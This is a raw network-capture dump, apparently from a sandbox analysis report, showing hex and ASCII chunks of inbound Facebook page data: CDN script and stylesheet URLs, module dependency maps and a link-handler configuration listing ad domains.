2022-10-08 09:35:55 UTC	789	IN	Data Raw: 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 62 30 74 6a 38 41 48 57 47 35 6c 54 46 5f 51 55 22 7d 2c 22 31 32 38 31 35 30 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 50 48 5a 4d 39 67 46 6f 79 70 43 6a 51 31 78 73 22 7d 2c 22 31 32 39 31 30 32 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 31 39 4c 73 65 49 47 31 6e 77 71 33 6f 5a 64 63 22 7d 2c 22 31 32 39 34 31 38 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 75 33 59 22 7d 2c 22 31 33 39 39 32 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 36 67 75 43 57 Data Ascii: :{"result":false,"hash":"AT7b0tj8AHWG5lTF_QU"},"1281505":{"result":false,"hash":"AT4PHZM9gFoypCjQ1xs"},"1291023":{"result":false,"hash":"AT519LseIG1nwq3oZdc"},"1294182":{"result":false,"hash":"AT4vd6mwrtAJouEJu3Y"},"1399218":{"result":true,"hash":"AT6guCW
2022-10-08 09:35:55 UTC	791	IN	Data Raw: 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 58 39 6e 72 36 35 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4a 66 58 34 5c 2f 79 45 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 54 4d 4d 50 62 66 34 66 5f 6e 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4b 73 62 52 73 33 75 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 55 5c 2f 72 5c 2f 64 39 5a 7a 66 4b 65 6c 79 51 4e 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 Data Ascii: 5Kz","nc":1},"X9nr65a":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iJfX4\/yE\/l\/en_US\/TMMPbf4f_nC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"KsbRs3u":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yU\/r\/d9ZzfKelyQN.js?_nc_x=Ij3
2022-10-08 09:35:55 UTC	792	IN	Data Raw: 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 38 65 56 4d 41 6e 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 72 5c 2f 42 72 34 4e 55 44 4f 70 6b 4c 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 39 41 4e 7a 77 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 50 77 4c 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 51 48 38 41 53 39 46 78 68 53 Data Ascii: nc_x=Ij3Wp8lg5Kz","nc":1},"8eVMAnX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/r\/Br4NUDOpkLd.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"e9ANzw\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iPwL4\/yr\/l\/en_US\/QH8AS9FxhS
2022-10-08 09:35:55 UTC	794	IN	Data Raw: 2f 76 33 5c 2f 79 5f 5c 2f 72 5c 2f 73 4a 37 4e 49 6a 73 4e 32 4e 41 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 41 78 58 30 6a 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 74 6a 6d 6b 2b 30 4b 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 79 31 30 Data Ascii: /v3\/y_\/r\/sJ7NIjsN2NA.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dAxX0jj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y5\/r\/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"tjmk+0K":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iy10
2022-10-08 09:35:55 UTC	795	IN	Data Raw: 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 30 57 6d 61 66 66 41 57 66 78 68 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 64 39 56 6a 78 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 63 78 48 34 5c 2f 79 69 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 47 6b 39 49 45 2d 2d 31 62 61 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 48 73 4a 51 36 79 22 3a 7b 22 74 79 70 65 22 3a 22 Data Ascii: src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/0WmaffAWfxh.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Pd9Vjxl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3icxH4\/yi\/l\/en_US\/Gk9IE--1bad.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dHsJQ6y":{"type":"
2022-10-08 09:35:55 UTC	797	IN	Data Raw: 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 46 4a 76 47 4b 5c 2f 6a 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 45 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 79 75 55 30 35 61 47 58 33 7a 35 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 57 4a 38 78 38 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 55 69 58 34 5c 2f 79 79 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 52 77 Data Ascii: x=Ij3Wp8lg5Kz","nc":1},"FJvGK\/j":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yE\/l\/0,cross\/yuU05aGX3z5.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"ZWJ8x8U":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iUiX4\/yy\/l\/en_US\/Rw
2022-10-08 09:35:55 UTC	798	IN	Data Raw: 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 53 78 72 75 62 71 6c 32 37 6f 39 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 49 32 78 6d 45 79 4f 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 51 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 43 74 62 70 4b 77 4a 6a 55 63 52 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 70 4d 75 38 48 64 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 Data Ascii: ttps:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/Sxrubql27o9.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"I2xmEyO":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yQ\/l\/0,cross\/CtbpKwJjUcR.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"RpMu8Hd":{"type":"js","src
2022-10-08 09:35:55 UTC	799	IN	Data Raw: 36 52 4f 41 39 66 65 77 71 48 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 32 53 57 59 47 38 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 35 7a 6c 34 5c 2f 79 36 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 50 38 68 59 4a 52 4d 45 5a 43 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6c 6c 34 5a 47 5c 2f 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 7a 51 Data Ascii: 6ROA9fewqH.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"R2SWYG8":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i5zl4\/y6\/l\/en_US\/P8hYJRMEZCR.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"ll4ZG\/y":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijzQ
2022-10-08 09:35:55 UTC	801	IN	Data Raw: 4e 47 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 7a 41 4b 76 4c 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 68 6b 49 4b 57 6f 71 64 68 69 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 69 4c 31 2b 43 4a 72 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6c 5c 2f 72 5c 2f 4b 5f 47 32 6a 43 45 5a 71 51 37 2e 6a 73 3f Data Ascii: NG.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"nzAKvLy":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/hkIKWoqdhiL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"iL1+CJr":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yl\/r\/K_G2jCEZqQ7.js?
2022-10-08 09:35:55 UTC	802	IN	Data Raw: 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 64 5c 2f 72 5c 2f 30 4f 58 63 78 4b 6d 35 69 42 75 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 33 39 30 4f 72 69 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 7a 38 65 34 5c 2f 79 74 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 67 30 4b 5a 71 65 70 75 6f 63 70 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 43 71 52 43 4a Data Ascii: "type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yd\/r\/0OXcxKm5iBu.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"x390Ori":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iz8e4\/yt\/l\/en_US\/g0KZqepuocp.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"CqRCJ
2022-10-08 09:35:55 UTC	804	IN	Data Raw: 65 6e 5f 55 53 5c 2f 6f 71 4a 62 64 39 73 72 36 4c 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 53 57 78 33 79 4e 76 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 52 78 33 62 34 36 63 74 71 56 77 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 45 34 44 6f 66 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 58 5c 2f 72 5c 2f Data Ascii: en_US\/oqJbd9sr6Ls.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"SWx3yNv":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/Rx3b46ctqVw.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"oE4DofT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yX\/r\/
2022-10-08 09:35:55 UTC	805	IN	Data Raw: 47 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 2c 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 49 6e 70 75 74 22 3a 7b 22 72 22 3a 5b 22 5a 32 47 6a 56 75 39 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 4c 69 76 65 22 3a 7b 22 72 22 3a 5b 22 65 39 41 4e 7a 77 5c 2f 22 2c 22 32 5c 2f 6d 61 51 5c 2f 51 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 Data Ascii: G","13Ewqji"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED"],"r":["BIylKC4","hKY0QKT"]},"be":1},"Input":{"r":["Z2GjVu9"],"be":1},"Live":{"r":["e9ANzw\/","2\/maQ\/Q","n6W4xMH","8zbEZtu","\/o5YvO2","vGt2mxz","13Ewqji"],"be":1},"T
2022-10-08 09:35:55 UTC	807	IN	Data Raw: 4f 45 48 76 70 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 63 39 68 4d 5a 73 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 6a 51 37 6e 5c 2f 39 6a 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 52 70 4d 75 38 48 64 22 2c 22 64 33 30 54 44 65 36 22 2c 22 6e 41 47 52 49 34 69 22 2c 22 49 47 35 79 4a 46 4d 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 4c 38 6b 70 71 79 46 22 2c 22 75 6f 62 75 6d 4c 70 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 44 39 58 42 33 67 6a 22 2c 22 30 37 4a 53 69 50 30 22 2c 22 64 78 5c 2f 41 67 70 4f 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 56 69 73 75 61 6c 43 6f 6d Data Ascii: OEHvpu","vGt2mxz","c9hMZsz","6qbw3PQ","lWOvGTa","jQ7n\/9j","I2xmEyO","h3ZzAmG","BIylKC4","RpMu8Hd","d30TDe6","nAGRI4i","IG5yJFM","ePe4ZR6","cYU3c32","Fn3rAl7","L8kpqyF","uobumLp","RPLH8jg","D9XB3gj","07JSiP0","dx\/AgpO"],"rds":{"m":["Animation","VisualCom
2022-10-08 09:35:55 UTC	808	IN	Data Raw: 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 43 71 52 43 4a 4b 6c 22 2c 22 4e 4d 55 4c 65 78 44 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 41 73 79 6e 63 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c Data Ascii: 13Ewqji","Z2GjVu9","CqRCJKl","NMULexD","vGt2mxz","lWOvGTa","h3ZzAmG","BIylKC4","Fn3rAl7"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["hKY0QKT"]},"be":1},"AsyncDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ",
2022-10-08 09:35:55 UTC	810	IN	Data Raw: 22 4b 73 62 52 73 33 75 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 45 78 63 65 70 74 69 6f 6e 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 48 35 62 43 74 61 54 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c Data Ascii: "KsbRs3u","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","Animation","PageTransitions","BanzaiScuba_DEPRECATED"],"r":["hKY0QKT"]},"be":1},"ExceptionDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","H5bCtaT","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ",
2022-10-08 09:35:55 UTC	811	IN	Data Raw: 22 3a 5b 22 59 74 55 33 43 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 46 6f 6f 74 65 72 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 59 74 55 33 43 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 Data Ascii: ":["YtU3C5u","srPmdt4","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","6qbw3PQ","Fn3rAl7","07JSiP0"],"be":1},"XUIDialogFooter.react":{"r":["YtU3C5u","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","79V9cVZ","6qbw3PQ","Fn3rAl7","
2022-10-08 09:35:55 UTC	813	IN	Data Raw: 2c 22 53 65 72 76 65 72 4a 53 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 76 61 72 20 73 3d 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 3b 73 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 4c 69 6e 6b 73 68 69 6d 48 61 6e 64 6c 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 75 70 70 6f 72 74 73 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 3a 66 61 6c 73 65 2c 22 64 65 66 61 75 6c 74 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 73 77 69 74 63 68 65 64 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 6e 6f 6e 5f 6c 69 6e 6b 73 68 69 6d 5f 6c 6e 66 62 5f 6d 6f 64 65 22 3a 22 69 65 Data Ascii: ,"ServerJS"],function(TimeSlice,ServerJS){var s=(new ServerJS());s.handle({"define":[["LinkshimHandlerConfig",[],{"supports_meta_referrer":false,"default_meta_referrer_policy":"default","switched_meta_referrer_policy":"origin","non_linkshim_lnfb_mode":"ie
2022-10-08 09:35:55 UTC	814	IN	Data Raw: 36 32 38 61 0d 0a 22 2c 22 61 64 2e 61 74 64 6d 74 2e 63 6f 6d 22 2c 22 61 64 66 6f 72 6d 2e 6e 65 74 22 2c 22 61 64 31 33 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 6f 6d 22 2c 22 69 6c 6f 76 65 6d 79 66 72 65 65 64 6f 6d 73 2e 63 6f 6d 22 2c 22 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 22 5d 2c 22 69 73 5f 6d 6f 62 69 6c 65 5f 64 65 76 69 63 65 22 3a 66 61 6c 73 65 7d 2c 32 37 5d 5d 2c 22 69 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 67 59 22 2c 5b 22 53 65 6c 65 63 74 61 62 6c 65 4d 65 6e 75 22 2c 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 70 41 22 2c 22 48 54 4d 4c 22 2c 22 5f 5f 6d 61 72 6b Data Ascii: 628a","ad.atdmt.com","adform.net","ad13.adfarm1.adition.com","ilovemyfreedoms.com","secure.adnxs.com"],"is_mobile_device":false},27]],"instances":[["__inst_02182015_0_0_gY",["SelectableMenu","MenuSelectableItem","__markup_3310c079_0_0_pA","HTML","__mark
